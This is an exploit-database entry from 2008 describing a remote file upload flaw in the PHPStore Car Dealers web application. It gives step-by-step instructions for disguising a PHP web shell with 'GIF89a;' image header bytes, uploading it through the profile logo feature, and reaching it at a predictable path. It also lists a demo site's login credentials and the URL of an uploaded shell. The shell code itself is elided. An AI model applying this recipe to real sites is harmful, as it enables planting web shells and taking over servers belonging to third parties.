PHPStore Car Dealers Remote File Upload Vulnerability

2008-11-10T00:00:00
ID 1337DAY-ID-4149
Type zdt
Reporter ZoRLu
Modified 2008-11-10T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            =====================================================
PHPStore Car Dealers Remote File Upload Vulnerability
=====================================================


PHP Store Auto Classifieds Remote File Upload

Author: ZoRLu 

N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (

-----------------------------------------


exploit:


first register to site 

you add this code your shell to head 

GIF89a; 

example your_shell.php:

GIF89a;
<?

...

...

...

?>

and save your_sheell.php

login to site and edit your profile

upload your_shell.php 

your_shell.php path:

localhost/script/cars_images/[ID]_logo_your_shell.php

---------------------------------------------

example for demo:

login: http://www.phpstore.info/demos/cars/login.php

user: zorlu

passwd: zorlu1

shell:

http://www.phpstore.info/demos/cars/cars_images/1226241384_logo_c.php


------------------------------------------------



#  0day.today [2018-01-08]  #